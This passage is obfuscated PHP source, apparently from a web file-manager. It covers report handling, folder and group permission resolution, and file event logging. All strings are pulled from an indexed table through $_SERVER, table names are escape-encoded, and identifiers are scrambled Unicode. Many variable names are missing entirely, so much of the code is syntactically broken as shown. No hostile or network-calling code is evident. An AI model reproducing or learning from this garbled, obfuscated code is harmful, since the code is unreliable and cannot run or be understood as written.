$_SERVER[ׇ]; $ = array($ˮ[231], $ˮ[834], $ˮ[2134], $ˮ[2135]); $ = array($ˮ[523] => $ˮ[524], $ˮ[525] => $ˮ[526]); $ = Input::get($ˮ[530], $ˮ[7], $ˮ[497], $); $ۖ = Input::get($ˮ[531], $ˮ[7], $ˮ[2148], array($ˮ[2066], $ˮ[525])); $ۖ = $[$ۖ]; $ = $ . "{$}\x20{$ۖ}"; return $this->order($); } public function reportAdd($ǩ) { $ =& $_SERVER[ׇ]; $ = array($[665] => $ǩ[$[665]], $[1772] => USER_ID); if (Model($[2144])->where($)->find()) { return !1; } $ = array($[665] => $ǩ[$[665]], $[1661] => $ǩ[$[1661]], $[193] => $ǩ[$[193]], $[541] => $ǩ[$[541]], $[1772] => USER_ID, $[33] => $ǩ[$[33]], $[526] => $ǩ[$[526]]); return Model($[2144])->add($); } public function reportList($) { $ע =& $_SERVER[ׇ]; $Ԗ = array(); if ($[$ע[833]]) { $ĵ = $[$ע[834]] ? $[$ע[834]] : strtotime(date($ע[2146])); $Ԗ[$ע[231]] = array($ע[409], array($[$ע[833]], $ĵ)); } if (isset($[$ע[33]]) && in_array($[$ע[33]], array($ע[91], $ע[510], $ע[2149], $ע[2150], $ע[2151]))) { $Ԗ[$ע[33]] = $[$ע[33]]; } if (isset($[$ע[823]]) && in_array($[$ע[823]], array($ע[228], $ע[91], $ע[510], $ע[2149]))) { $Ԗ[$ע[823]] = $[$ע[823]]; } $ = Input::get($ע[531], $ע[7], $ע[2148], array($ע[2066], $ע[525])); $Í = array($ע[523] => $ע[524], $ע[525] => $ע[526]); $ⷚ = $ע[2152] . $Í[$]; $܉ = Model($ע[2144])->where($Ԗ)->order($ⷚ)->selectPage(20); if (empty($܉[$ע[445]])) { return array(); } $ = array_to_keyvalue_group($܉[$ע[445]], $ע[823], $ע[665]); if (!empty($[0])) { $ = $[0]; $Ԗ = array($ע[665] => array($ע[7], $)); $ = $this->where($Ԗ)->field($ע[665])->select(); $ = array_to_keyvalue($, $ע[12], $ע[665]); $ = array_diff($, $); if (!empty($)) { foreach ($܉[$ע[445]] as $ => $۽) { if (in_array($۽[$ע[665]], $)) { unset($܉[$ע[445]][$]); } } } } $this->_listDataApply($܉[$ע[445]]); return $܉; } public function reportStatus($ȵؽ) { $ =& $_SERVER[ׇ]; $ = array($[475] => $ȵؽ[$[475]]); $ˊ = Model($[2144])->where($)->field($[2153])->find(); if (!$ˊ) { return !1; } $ = array($[823] => $ȵؽ[$[823]]); if ($ȵؽ[$[823]] == $[2149] && $ˊ[$[823]] == $[2149]) { $[$[823]] = 0; } $ = Model($[2144])->where($)->save($); if ($ȵؽ[$[823]] == $[510]) { if ($ˊ[$[541]] != $[228] && $this->shareFileMeta($ˊ[$[541]])) { $this->shareFileMeta($ˊ[$[541]], 0); } $this->remove($ˊ[$[665]]); return !0; } if ($ && $ȵؽ[$[823]] == $[2149]) { $ = $[$[823]] == $[2149] ? 1 : 0; $this->shareFileMeta($ˊ[$[541]], $); $this->removeByFile($ˊ[$[541]]); } return $; } private function removeByFile($) { $ =& $_SERVER[ׇ]; $Σ = Model($[897])->where(array($[541] => $))->field($[193])->select(); $ = array_to_keyvalue($Σ, $[12], $[193]); $ = array($[193] => array($[7], $), $[562] => 1); $Σ = $this->where($)->field($[665])->select(); if (empty($Σ)) { return; } $ = array_to_keyvalue($Σ, $[12], $[665]); $this->remove($); } private function shareFileMeta($, $ = null) { $Γ =& $_SERVER[ׇ]; $僦 = array($Γ[541] => $, $Γ[97] => $Γ[2154]); if (is_null($)) { return Model($Γ[2155])->where($僦)->find(); } $僦[$Γ[450]] = $; Model($Γ[2155])->add($僦, array(), !0); } } class SourceAuthModel extends ModelBase { protected $tableName = "\151\x6f\137\x73\x6f\x75\162\x63\x65\137\141\165\x74\x68"; public function getAuth($) { $ʇ =& $_SERVER[ׇ]; $ = $this->sourceAuthSelect($); $Ӵ = array(); $ = array(); $ = 2 << 25; foreach ($ as $) { $ = Model($ʇ[571])->listData($[$ʇ[2079]]); if (!$) { continue; } $Ӵ[] = $; $̉ = 0; if ($[$ʇ[190]] == SourceModel::TYPE_GROUP) { $̉ = $ * 2; } if ($[$ʇ[190]] == SourceModel::TYPE_USER) { $̉ = $; } if ($[$ʇ[190]] == SourceModel::TYPE_USER && $[$ʇ[569]] == $ʇ[228]) { $̉ = 0; } $[] = $[$ʇ[487]] + $̉; } array_multisort($, SORT_DESC, $Ӵ); return $Ӵ; } public function sourceAuthSelect($ҭ) { $ =& $_SERVER[ׇ]; static $ = array(); $ = is_array($ҭ) ? !1 : !0; if ($) { $ҭ = array($ҭ); } $ = array(); foreach ($ҭ as $) { if (isset($[$])) { $[$] = $[$]; } } if (count($) == count($ҭ)) { return $ ? $[$ҭ[0]] : $; } $Ê = $[2156]; $ = array($[193] => array($[7], $ҭ)); $ = $this->field($Ê)->order($[475])->where($)->select(); $ = array_to_keyvalue_group($, $[193]); foreach ($ҭ as $) { $[$] = $[$] ? $[$] : array(); } if ($) { return $; } return $; } public function setAuth($, $Ͼ) { $ =& $_SERVER[ׇ]; $و = Model($[1420])->sourceInfo($); if (!$و) { return !1; } if ($و[$[190]] != SourceModel::TYPE_GROUP) { return !1; } $ = 1; $ڭ = $و[$[569]]; if ($ڭ != $) { $ = array($[1971] => $ڭ); $ = Model($[2065])->field($[1772])->where($)->select(); $ = array_to_keyvalue($, $[12], $[1772]); } $ = array(SourceModel::TYPE_GROUP, SourceModel::TYPE_USER); $ = array(); foreach ($Ͼ as $) { if (!in_array($[$[190]], $)) { show_json(LNG($[2157]), !1); } if ($ڭ != $) { if ($[$[190]] == SourceModel::TYPE_GROUP) { } if ($[$[569]] != 0 && !in_array($[$[569]], $)) { } } if ($[$[569]] == 0) { $[$[190]] = SourceModel::TYPE_USER; } $[] = array($[193] => $, $[190] => intval($[$[190]]), $[569] => intval($[$[569]]), $[2079] => intval($[$[2079]]) ? intval($[$[2079]]) : 0, $[2139] => intval($[$[2139]]) ? intval($[$[2139]]) : -1); } $this->where(array($[491] => $))->delete(); $this->addAll($); return !0; } public function authClear($≈) { $ =& $_SERVER[ׇ]; $ = Model($[1420])->sourceInfo($≈); $糳 = array($≈); if ($[$[485]] == $[91]) { $چ = array($[652] => array($[612], $[$[584]] . $≈ . $[613])); $糳 = Model($[1420])->field($[491])->where($چ)->getField($[193], !0); $糳[] = $≈; } $this->where(array($[491] => array($[492], $糳)))->delete(); return !0; } public function getAllChildren($ɇ) { $餻 =& $_SERVER[ׇ]; $ = Model($餻[1420])->sourceInfo($ɇ); if ($[$餻[485]] != $餻[91]) { return $this->sourceListAuth(array($ɇ)); } if ($[$餻[190]] != SourceModel::TYPE_GROUP) { return array(); } $ = 1; $ؿ = array($ɇ); if ($[$餻[192]] == $餻[228] && $[$餻[569]] != $) { $ؿ = $this->groupChidldAllRootSource($[$餻[569]]); } $ם = $this->field($餻[193])->group($餻[193])->select(); $ם = array_to_keyvalue($ם, $餻[12], $餻[193]); if (!$ם) { return array(); } $ųÎ = $餻[2158]; $͙ = array($餻[193] => array($餻[7], $ם), $餻[505] => $餻[228]); $ = Model($餻[897])->field($ųÎ)->where($͙)->select(); $ = array($ɇ); foreach ($ as $Ʋ) { foreach ($ؿ as $ߝ) { $ů = $餻[50] . $ߝ . $餻[50]; $ = $Ʋ[$餻[584]] . $Ʋ[$餻[193]] . $餻[50]; if (strstr($, $ů)) { $[] = $Ʋ[$餻[193]]; break; } } } return $this->sourceListAuth($); } private function sourceListAuth($) { $˥ٱ =& $_SERVER[ׇ]; $ع = Model($˥ٱ[1420])->sourceListInfo($, !0); $ܚ = $this->sourceAuthSelect($); $֔ = array(); $̃ = array(); foreach ($ع as $) { unset($[$˥ٱ[529]]); unset($[$˥ٱ[527]]); unset($[$˥ٱ[487]]); unset($[$˥ٱ[90]]); $ = $ܚ[$[$˥ٱ[193]]]; if (!$) { continue; } $[$˥ٱ[2159]] = $this->authTargetInfo($); $[$˥ٱ[582]] = rtrim($[$˥ٱ[588]], $˥ٱ[8]) . $˥ٱ[8] . ltrim($[$˥ٱ[582]], $˥ٱ[8]); $֔[] = $; $ = count(explode($˥ٱ[8], trim($[$˥ٱ[582]], $˥ٱ[8]))); $̃[] = $ + ($[$˥ٱ[33]] == $˥ٱ[78] ? 0 : 1000); } array_multisort($̃, SORT_ASC, $֔); return $֔; } private function groupChidldAllRootSource($ڌ) { $ =& $_SERVER[ׇ]; $ = Model($[2160])->groupChildrenAll($ڌ); $١ = array($[192] => 0, $[569] => array($[7], $), $[190] => SourceModel::TYPE_GROUP); $݉ = Model($[897])->field($[193])->where($١)->select(); $݉ = array_to_keyvalue($݉, $[12], $[193]); return $݉; } private function authTargetInfo($ƶ) { $ =& $_SERVER[ׇ]; $ = array(); $Ûв = array(); $ی = 2 << 25; foreach ($ƶ as $愵) { $ = Model($[571])->listData($愵[$[2079]]); if (!$) { continue; } if ($愵[$[190]] == SourceModel::TYPE_USER) { $Ø = Model($[577])->getInfoSimpleOuter($愵[$[569]]); if ($Ø[$[1772]] == $[1273]) { continue; } if ($Ø[$[1772]] == $[228]) { $Ø[$[32]] = LNG($[2161]); } } else { $Ø = Model($[585])->getInfoSimple($愵[$[569]]); } if (!$Ø) { continue; } $Ø[$[540]] = $; $[] = $Ø; $Ƭ = 0; if ($愵[$[190]] == SourceModel::TYPE_GROUP) { $Ƭ = $ی * 2; } if ($愵[$[190]] == SourceModel::TYPE_USER) { $Ƭ = $ی; } if ($愵[$[190]] == SourceModel::TYPE_USER && $愵[$[569]] == $[228]) { $Ƭ = 0; } $Ûв[] = $[$[487]] + $Ƭ; } array_multisort($Ûв, SORT_DESC, $); return $; } public function getAllChildrenByUser($ר, $Ş) { $쇮 =& $_SERVER[ׇ]; $ُ = Model($쇮[598])->getInfo($Ş); if (!$Ş || !$ר || !$ُ) { return array(); } $ꑋ = Model($쇮[1420])->sourceInfo($ר); $̭ = array(); $ = 1; if ($ꑋ[$쇮[192]] == $쇮[228] && $ꑋ[$쇮[569]] != $ && $this->groupContainUser($ꑋ[$쇮[569]], $Ş)) { foreach ($ُ[$쇮[2162]] as $ܽ) { $ = Model($쇮[585])->getInfo($ܽ[$쇮[1971]]); $и = Model($쇮[598])->getInfoSimpleOuter($Ş); $и[$쇮[540]] = $ܽ[$쇮[487]]; if (Model($쇮[571])->authCheckAction($ܽ[$쇮[487]][$쇮[487]], $쇮[1992])) { continue; } $ر = array($쇮[32] => $쇮[1293] . $[$쇮[32]], $쇮[193] => $[$쇮[90]][$쇮[193]], $쇮[87] => KodIO::make($[$쇮[90]][$쇮[193]]), $쇮[192] => $쇮[228], $쇮[190] => $쇮[578], $쇮[33] => $쇮[616], $쇮[582] => $[$쇮[589]], $쇮[1971] => $[$쇮[1971]], $쇮[586] => $[$쇮[192]], $쇮[2159] => array($и)); $̭[$ر[$쇮[193]]] = $ر; } } $ = array(); $ = $this->getAllChildren($ר); foreach ($ as $Ȼٵ) { $ = !1; foreach ($Ȼٵ[$쇮[2159]] as $) { if ($[$쇮[1772]]) { if ($[$쇮[1772]] == $Ş) { $ = !0; break; } } if ($[$쇮[1971]]) { if ($this->groupContainUser($[$쇮[1971]], $Ş)) { $ = !0; break; } } } if ($) { $[] = $Ȼٵ; } $τ = $Ȼٵ[$쇮[193]]; if (isset($̭[$τ])) { $Ȼٵ[$쇮[2159]][] = $̭[$τ][0]; $̭[$τ] = !1; } } $̭ = array_filter(array_values($̭)); $ = array_merge($̭, $); return $; } public function setAllChildrenByUser($ɐ, $, $Ѽ) { $ߝ =& $_SERVER[ׇ]; $ = $this->getAllChildrenByUser($ɐ, $); if (!$Ѽ || !$) { return !1; } foreach ($ as $Ք) { $ = array(); foreach ($Ք[$ߝ[2159]] as $ᵒ) { $֝ = $ᵒ[$ߝ[540]]; $۾ = $ᵒ[$ߝ[1772]] ? SourceModel::TYPE_USER : SourceModel::TYPE_GROUP; $ˤ = $ᵒ[$ߝ[1772]] ? $ᵒ[$ߝ[1772]] : $ᵒ[$ߝ[1971]]; if ($ᵒ[$ߝ[1772]] && $ᵒ[$ߝ[1772]] == $) { continue; } $[] = array($ߝ[193] => $Ք[$ߝ[193]], $ߝ[190] => $۾, $ߝ[569] => intval($ˤ), $ߝ[2079] => isset($֝[$ߝ[475]]) ? intval($֝[$ߝ[475]]) : 0, $ߝ[2139] => isset($֝[$ߝ[2139]]) ? intval($֝[$ߝ[2139]]) : -1); } $[] = array($ߝ[193] => $Ք[$ߝ[193]], $ߝ[190] => SourceModel::TYPE_USER, $ߝ[569] => intval($), $ߝ[2079] => intval($Ѽ), $ߝ[2139] => -1); $this->where(array($ߝ[491] => $Ք[$ߝ[193]]))->delete(); $this->addAll($); } return !0; } public function get($۰) { $ = $this->getSourceList(array($۰), !0); return $[0]; } public function getSourceList($Ӊ, $ā = false, $œ = false) { $ =& $_SERVER[ׇ]; if (!$Ӊ) { return array(); } $㲩 = Model($[1420]); if (!$ā && count($Ӊ) == 1) { $ā = array(); $ā[$Ӊ[0]] = $㲩->sourceInfo($Ӊ[0]); } if (!$ā) { $ = array($[491] => array($[492], $Ӊ)); $ā = $㲩->field($[2163])->where($)->select(); $ā = array_to_keyvalue($ā, $[193]); } $ﴲ = $Ӊ; foreach ($ā as $ => $ܬ) { $ζƱ = $㲩->parentLevelArray($ܬ[$[584]]); $ﴲ = array_merge($ﴲ, array($), array_reverse($ζƱ)); } $ﴲ = array_values(array_unique($ﴲ)); if (!$ﴲ) { return array(); } $击 = $this->sourceAuthSelect($ﴲ); $Ƞ = array(); foreach ($ﴲ as $) { if (isset($击[$])) { $Ƞ[$] = $击[$]; } } $Ɗ = $this->userIsRoot($œ); $է = AuthModel::authAll(); $ = array($[488] => $է, $[2164] => array($[493] => 0, $[1977] => $է, $[494] => LNG($[2165]), $[1994] => $[2166])); $ޑ = array(); foreach ($ā as $ => $) { if ($Ɗ && $GLOBALS[$[6]][$[1990]]) { $ޑ[$] = $; continue; } $ޑ[$] = $this->makeSourceAuth($, $Ƞ, $œ); } return $ޑ; } public function authDeepCheck($űえ, $ = false) { $ˤ =& $_SERVER[ׇ]; $ = $ ? $ : USER_ID; $۫ = $this->makeAuthDeep($); if (!in_array($űえ, $۫[$ˤ[2167]])) { return !1; } $輪 = array(); foreach ($۫[$ˤ[2168]] as $П => $Ɍ) { if (!in_array($űえ, $Ɍ)) { continue; } $輪[] = $П; } if (!$輪) { return !1; } $ߥ = $輪 ? $輪[0] : $űえ; return array($ˤ[488] => -1, $ˤ[540] => array($ˤ[493] => $ˤ[1273], $ˤ[1977] => $ˤ[228], $ˤ[494] => LNG($ˤ[2169]), $ˤ[1994] => $ˤ[2170]), $ˤ[2171] => LNG($ˤ[2172]), $ˤ[2173] => $this->sourceAuthInfo($ߥ)); } protected function makeAuthDeep($ވ = false) { $ =& $_SERVER[ׇ]; static $ = array(); $ވ = $ވ ? $ވ : USER_ID; if (isset($[$ވ])) { return $[$ވ]; } $؛ = Model($[2174])->listData(); $ɦ = array(); foreach ($؛ as $) { if ($[$[487]] == 0 && $[$[1993]] == $[91]) { $ɦ[] = $[$[475]]; } } $ӎ = $this->userGroupParents($ވ); $ = array($[190] => SourceModel::TYPE_USER, $[569] => $ވ); if ($ӎ) { $ = array(array($[190] => SourceModel::TYPE_USER, $[569] => $ވ), array($[190] => SourceModel::TYPE_GROUP, $[569] => array($[492], $ӎ)), $[1078] => $[2073]); } $飷ɓ = $this->field($[2175])->where($)->select(); $ = array(); $ɳ = array_to_keyvalue_group($飷ɓ, $[193]); foreach ($ɳ as $ۅ => $) { $ȁؙ = $this->authArrayCheck($, $ވ); if ($ȁؙ[$[488]] > 0) { $[] = $ۅ . $[12]; } } if ($ӎ) { $Ч = Model($[585]); foreach ($ӎ as $) { $ = $Ч->getInfo($); if (!$ || !is_array($[$[90]])) { continue; } $[] = $[$[90]][$[193]]; } } $ܕ؛ = array(); $ = $ӎ; $ = Model($[1420]); $Ч = Model($[585]); $ܵ = array(); $ = array(); $⅄ = array(); $ = array(); if ($) { $宎 = $->where(array($[193] => array($[492], $)))->select(); foreach ($宎 as $ݍڥ) { $ = $->parentLevelArray($ݍڥ[$[584]]); $ܕ؛ = array_merge($ܕ؛, $); $[] = $ݍڥ[$[569]]; $ܵ[$ݍڥ[$[193]]] = $; $[$ݍڥ[$[193]]] = $ݍڥ[$[569]]; } } $ = array_values(array_unique($)); $ = $; foreach ($ as $) { $ = $Ч->getInfo($); $ = $->parentLevelArray($[$[584]]); $ = array_merge($, $); } $ = array_values(array_unique($)); foreach ($ as $) { $ = $Ч->getInfo($); $ܕ؛[] = $[$[90]][$[193]]; $⅄[$] = $[$[90]][$[193]]; $[$] = $->parentLevelArray($[$[584]]); } foreach ($ܵ as $͏ => $㏐) { $ؿگ = $[$͏]; if (!$ؿگ || !$⅄[$ؿگ]) { continue; } $ = array(); foreach ($[$ؿگ] as $) { $[] = $⅄[$]; } $ܵ[$͏] = array_merge($, $㏐); } $ܕ؛ = array_values(array_unique($ܕ؛)); $ز = array($[2167] => $ܕ؛, $[2168] => $ܵ); $[$ވ] = $ز; return $ز; } private function makeSourceAuth($Յ, $ѩ, $ = false) { $給В =& $_SERVER[ׇ]; $ܮ = $給В[91]; $ = $Յ[$給В[569]]; $ˍ = $Յ[$給В[190]] == SourceModel::TYPE_GROUP; $ = $ˍ ? $this->groupRootAuth($, $) : !1; if ($ && Model($給В[571])->authCheckAction($[$給В[487]], $給В[1992])) { return $this->groupAuthInfo($, $); } $ۍ = Model($給В[1420])->parentLevelArray($Յ[$給В[584]]); $ۍ = array_merge(array($Յ[$給В[193]]), array_reverse($ۍ)); $צ = !1; foreach ($ۍ as $) { if (!isset($ѩ[$])) { continue; } $ = $this->authMake($ѩ[$], $); if ($[$給В[540]]) { $צ = $; break; } } if (!$ˍ) { return $צ; } if (!$צ && $) { $צ = $this->groupAuthInfo($, $); } if (!$צ) { $ = Model($給В[585])->getInfo($); $ = explode($給В[50], trim($[$給В[584]], $給В[50])); $ = array_reverse($); foreach ($ as $ݣ) { if ($ݣ == $給В[228] || $ݣ == $ܮ) { continue; } $ = $this->groupRootAuth($ݣ, $); if (!$) { continue; } $צ = $this->groupAuthInfo($, $ݣ); break; } } if (!$צ || $צ[$給В[488]] <= 0) { $Ǻ = $this->authDeepCheck($Յ[$給В[193]], $); if ($Ǻ) { $צ = $Ǻ; } } return $צ; } private function userIsRoot($뿌 = false) { $޹ =& $_SERVER[ׇ]; if (!$뿌 && KodUser::isRoot()) { return !0; } $„ = Model($޹[598])->getInfo($뿌); $ȸ = Model($޹[2176])->listData($„[$޹[2177]]); if ($ȸ && $ȸ[$޹[575]][$޹[2178]] == 1) { return !0; } return !1; } private function sourceAuthInfo($у) { $랖 =& $_SERVER[ׇ]; $ƴ݉ = Model($랖[1420]); $瓖 = $ƴ݉->sourceInfo($у); if (!$瓖) { return !1; } $ƴ݉->groupPathDisplay($瓖); $䂓̄ = array($瓖); $䂓̄ = $ƴ݉->_listAppendPath($䂓̄); $瓖 = $䂓̄[0]; $ᄘѲ = $瓖[$랖[582]]; if (isset($瓖[$랖[590]])) { $ْ = explode($랖[8], trim($瓖[$랖[582]], $랖[8])); array_shift($ْ); $ᄘѲ = $瓖[$랖[588]] . $랖[2179] . implode($랖[8], $ْ); } return array($랖[494] => $瓖[$랖[32]], $랖[87] => KodIO::make($瓖[$랖[193]]), $랖[2180] => $ᄘѲ); } private function groupAuthInfo($ᜤ, $˼) { $ =& $_SERVER[ׇ]; $ = Model($[585])->getInfo($˼); return array($[2181] => intval($ᜤ[$[487]]), $[2164] => $ᜤ, $[2182] => LNG($[2183]), $[2173] => array($[494] => $[$[32]], $[87] => KodIO::make($[$[90]][$[193]]), $[2180] => $[$[589]])); } protected function groupRootAuth($ҳ, $ = false) { $ʿ =& $_SERVER[ׇ]; $ = $ ? $ : USER_ID; $Ҟ = $ . $ʿ[2184] . $ҳ; static $𺐷 = array(); if (isset($𺐷[$Ҟ])) { return $𺐷[$Ҟ]; } $ = Model($ʿ[585])->getInfo($ҳ); $ԕ = $this->userGroupList($); $ = isset($ԕ[$ҳ]) ? $ԕ[$ҳ][$ʿ[487]] : !1; if ($ && Model($ʿ[571])->authCheckAction($[$ʿ[487]], $ʿ[1992])) { $𺐷[$Ҟ] = $; return $; } $ = $this->sourceAuthSelect($[$ʿ[90]][$ʿ[193]]); $ɣ = $ ? $this->authMake($, $) : !1; $ʜ = $ɣ ? $ɣ[$ʿ[540]] : !1; $𺐷[$Ҟ] = $ʜ ? $ʜ : $; return $𺐷[$Ҟ]; } public function authOwnerApply($) { $ߌ =& $_SERVER[ׇ]; if (empty($[$ߌ[487]]) || isset($[$ߌ[2185]]) && $[$ߌ[2185]]) { return $; } if (AuthModel::authCheckRoot($[$ߌ[487]][$ߌ[488]])) { return $; } $忊 = Model($ߌ[1420])->parentLevelArray($[$ߌ[584]]); $忊 = array_merge(array($[$ߌ[193]]), array_reverse($忊)); $ = $this->sourceAuthSelect($忊); $ = array(); $ʈ = array(); foreach ($ as $ĸ => $͑) { $ñ = $this->authFolderOwnerUser($͑); $[$ĸ] = $ñ; $ʈ = array_merge($ʈ, $ñ[$ߌ[662]]); if ($ñ[$ߌ[2186]]) { break; } } if (count($ʈ) == 0) { $ʈ = $this->authFolderOwnerGroup($[$ߌ[569]]); } $ʈ = array_unique($ʈ); if (AuthModel::authCheckRoot($[$ߌ[487]][$ߌ[488]])) { $ʈ[] = USER_ID; } $[$ߌ[487]][$ߌ[2187]] = Model($ߌ[577])->userListInfo($ʈ); return $; } private function authFolderOwnerGroup($ޒ) { $Ŀ =& $_SERVER[ׇ]; $Ҩ˘ = Model($Ŀ[2065])->where(array($Ŀ[1971] => $ޒ))->select(); $񭇕 = array(); if (!$Ҩ˘) { return $񭇕; } foreach ($Ҩ˘ as $Ь) { $ = $this->authInfo($Ь); if (AuthModel::authCheckRoot($[$Ŀ[487]])) { $񭇕[] = $Ь[$Ŀ[1772]]; } } return $񭇕; } private function authFolderOwnerUser($Dž) { $ =& $_SERVER[ׇ]; $ = array(); $ٱ = !1; foreach ($Dž as $߼) { $ = $this->authInfo($߼); if ($߼[$[569]] == $[228]) { $ٱ = !0; } if ($߼[$[190]] == SourceModel::TYPE_USER) { if (AuthModel::authCheckRoot($[$[487]])) { $[] = $߼[$[569]]; } } } return array($[662] => $, $[2186] => $ٱ); } public function authMake($ᤷ, $ = false) { $ =& $_SERVER[ׇ]; $Չ = $this->authArrayCheck($ᤷ, $); if ($Չ[$[2188]]) { $Չ[$[2188]] = $this->sourceAuthInfo($Չ[$[2188]]); } return $Չ; } public function authArrayCheck($ބ, $논Ь = false) { $ꥧ϶ =& $_SERVER[ׇ]; if (!$ބ) { return array($ꥧ϶[488] => 0, $ꥧ϶[540] => !1); } $논Ь = $논Ь ? $논Ь : USER_ID; $ƒ = 0; $ = 0; $ = 0; $ = 0; $޾ = 0; $ɚ = 0; $ = 1000; $ = 0; $ = 0; $Յ = 0; $׆ = 0; $ = array($ꥧ϶[193] => 0); foreach ($ބ as $) { $Ĉ̰ = $this->authInfo($); if (!$Ĉ̰) { continue; } $ꦽ = $[$ꥧ϶[569]]; $׍ = intval($Ĉ̰[$ꥧ϶[487]]); if ($[$ꥧ϶[190]] == SourceModel::TYPE_USER && $ꦽ == $논Ь) { $ƒ = !0; $ = $Ĉ̰; $ = $׍; } else { if ($[$ꥧ϶[190]] == SourceModel::TYPE_GROUP && $this->groupContainUser($ꦽ, $논Ь)) { $ = !0; $ݓ = $this->groupStepToUserGroup($ꦽ, $논Ь); if ($ݓ < $) { $ = $ݓ; $޾ = $׍; $ɚ = $Ĉ̰; $ = $ꦽ; } if ($ݓ == $ && $׍ >= $޾) { $޾ = $׍; $ɚ = $Ĉ̰; $ = $ꦽ; } } else { if ($ꦽ == $ꥧ϶[228]) { $ = !0; $׆ = $Ĉ̰; $Յ = $׍; } } } } if ($ƒ) { $ܨ = $; $Ĉ̰ = $; $݆ = LNG($ꥧ϶[2189]); } else { if ($) { $ܨ = $޾; $Ĉ̰ = $ɚ; $Ӛ = Model($ꥧ϶[585])->getInfo($); $݆ = $ꥧ϶[176] . $Ӛ[$ꥧ϶[589]] . $ꥧ϶[2190] . LNG($ꥧ϶[2191]); } else { if ($) { $ܨ = $Յ; $Ĉ̰ = $׆; $݆ = LNG($ꥧ϶[2161]); } else { $ܨ = 0; $Ĉ̰ = !1; $݆ = $ꥧ϶[12]; } } } $ۭ = array($ꥧ϶[2181] => intval($ܨ), $ꥧ϶[2164] => $Ĉ̰, $ꥧ϶[2182] => $݆, $ꥧ϶[2173] => $[$ꥧ϶[193]]); return $ۭ; } private function groupContainUser($, $ԍ = false) { return in_array($, $this->userGroupParents($ԍ)); } private function groupStepToUserGroup($ṽ, $ʞ = false) { $ =& $_SERVER[ׇ]; $ = $this->userGroupList($ʞ); $տ = 1000; $ = $GLOBALS[$[6]][$[92]][$[2078]] == 1; $֑ = $ ? 3 : 2; foreach ($ as $힜Œ) { if ($힜Œ[$[1971]] == $ṽ) { return 0; } $ = explode($[50], trim($힜Œ[$[584]], $[50])); if ($[0] == $[228] && count($) > $֑) { $ = array_reverse(array_slice($, $֑)); $ܴ = array_search($ṽ, $); if ($ܴ !== !1 && $ܴ + 1 <= $տ) { $տ = $ܴ + 1; } } } return $տ; } private function userGroupList($č = false) { $Å =& $_SERVER[ׇ]; static $ƣ = array(); if (isset($ƣ[$č])) { return $ƣ[$č]; } $ = Model($Å[598])->getInfo($č); $ƣ[$č] = array_to_keyvalue($[$Å[2162]], $Å[1971]); return $ƣ[$č]; } public function userGroupParents($睊) { $륔 =& $_SERVER[ׇ]; static $Ïڍ = array(); $睊 = $睊 ? $睊 : USER_ID; if (isset($Ïڍ[$睊])) { return $Ïڍ[$睊]; } $Ӄ = $this->userGroupList($睊); $ީ = array(); $ = $GLOBALS[$륔[6]][$륔[92]][$륔[2078]] == 1; $ = $ ? 3 : 2; foreach ($Ӄ as $Ƿ) { $ = array($Ƿ[$륔[1971]]); $ = explode($륔[50], trim($Ƿ[$륔[584]], $륔[50])); if ($[0] == $륔[228] && count($) > $) { $ڔ = array_slice($, $); $ = array_merge($, array_reverse($ڔ)); } $ީ = array_merge($ީ, $); } $Ïڍ[$睊] = array_unique($ީ); return $Ïڍ[$睊]; } public function authTargetInfoMake($ʟ) { $ =& $_SERVER[ׇ]; $ˊ΢ = array(); $ = array(); foreach ($ʟ as $) { if ($[$[190]] == SourceModel::TYPE_USER) { $ˊ΢[] = intval($[$[569]]); } else { if ($[$[190]] == SourceModel::TYPE_GROUP) { $[] = intval($[$[569]]); } } } if ($ˊ΢) { $ˊ΢ = Model($[577])->userListInfo($ˊ΢); } if ($) { $ = array($[2063] => array($[492], $)); $ = Model($[585])->field($[2192])->where($)->select(); $ = array_to_keyvalue($, $[1971]); } return array($[2193] => $ˊ΢, $[2194] => $); } public function authInfo($) { $Χ =& $_SERVER[ׇ]; if ($[$Χ[2079]]) { $٤ = Model($Χ[571])->listData($[$Χ[2079]]); if (!$٤) { return !1; $͔ = Model($Χ[571])->listData(); $ = array_filter_by_field($͔, $Χ[487], $Χ[228]); return $; } $˥ = array_field_key($٤, array($Χ[475], $Χ[32], $Χ[487], $Χ[1994], $Χ[1995])); $˥[$Χ[2195]] = $; return $˥; } else { return array($Χ[493] => 0, $Χ[1977] => $[$Χ[2139]], $Χ[494] => $Χ[12], $Χ[1994] => $Χ[2196]); } } } class SourceEventModel extends ModelBase { protected $tableName = "\151\157\x5f\163\x6f\x75\162\143\x65\x5f\x65\x76\145\x6e\164"; protected $dataAuto = array(array("\x63\162\145\x61\164\x65\x54\x69\155\145", "\x74\x69\x6d\x65", "\x69\x6e\x73\145\x72\164", "\146\165\x6e\143\164\x69\x6f\156"), array("\x64\x65\163\x63", '', "\151\156\163\145\162\164\x2c\165\160\144\141\x74\x65\54\163\145\x6c\x65\143\x74", "\x6a\163\x6f\x6e")); protected $eventSave = true; public function recodeStop() { $this->eventSave = !1; } public function recodeStart() { $this->eventSave = !0; } public function addEvent($Þ, $, $߈ڢ = '') { $ =& $_SERVER[ׇ]; if (!$this->eventSave) { return; } $ = Model($[1420])->sourceInfo($Þ); if (!$) { return !1; } if ($this->isDisableEvent($, $)) { return; } if ($߈ڢ && is_string($߈ڢ)) { $߈ڢ = array($[2010] => $߈ڢ); } $ = defined($[2197]) ? USER_ID : 0; $ʏ = array($[491] => $Þ, $[2198] => $[$[192]], $[2199] => $[$[32]], $[582] => !empty($[$[582]]) ? $[$[582]] : $[12], $[1763] => $, $[496] => $, $[1765] => $߈ڢ); $this->addSystemLog($, $ʏ); unset($ʏ[$[2199]], $ʏ[$[582]]); return $this->add($ʏ); } private function addSystemLog($, $̻) { $嶝 =& $_SERVER[ׇ]; if ($ == $嶝[2200]) { $ = $̻[$嶝[526]][$嶝[2201]]; } else { if (in_array($, array($嶝[1950], $嶝[2202]))) { $ = $̻[$嶝[526]][$嶝[171]]; } } $ = array_merge($̻, array($嶝[2203] => $̻[$嶝[193]], $嶝[2204] => $̻[$嶝[2204]])); Hook::trigger($嶝[2205], $嶝[2206] . $, $̻); Model($嶝[1914])->addLog($嶝[2206] . $, $); } private function isDisableEvent($ӆ, $ԯ) { $Ǟ =& $_SERVER[ׇ]; if ($ӆ[$Ǟ[190]] != SourceModel::TYPE_SYSTEM) { return !1; } if ($ԯ == $Ǟ[1939]) { return !1; } return !0; } public function eventCreate($ȷ, $؁) { $ =& $_SERVER[ׇ]; $ = Model($[1420])->sourceInfo($ȷ); $ɠΛ = array($[2201] => $؁, $[32] => $[$[32]]); return $this->addEvent($ȷ, $[2200], $ɠΛ); } public function eventFileEdit($萘) { $ =& 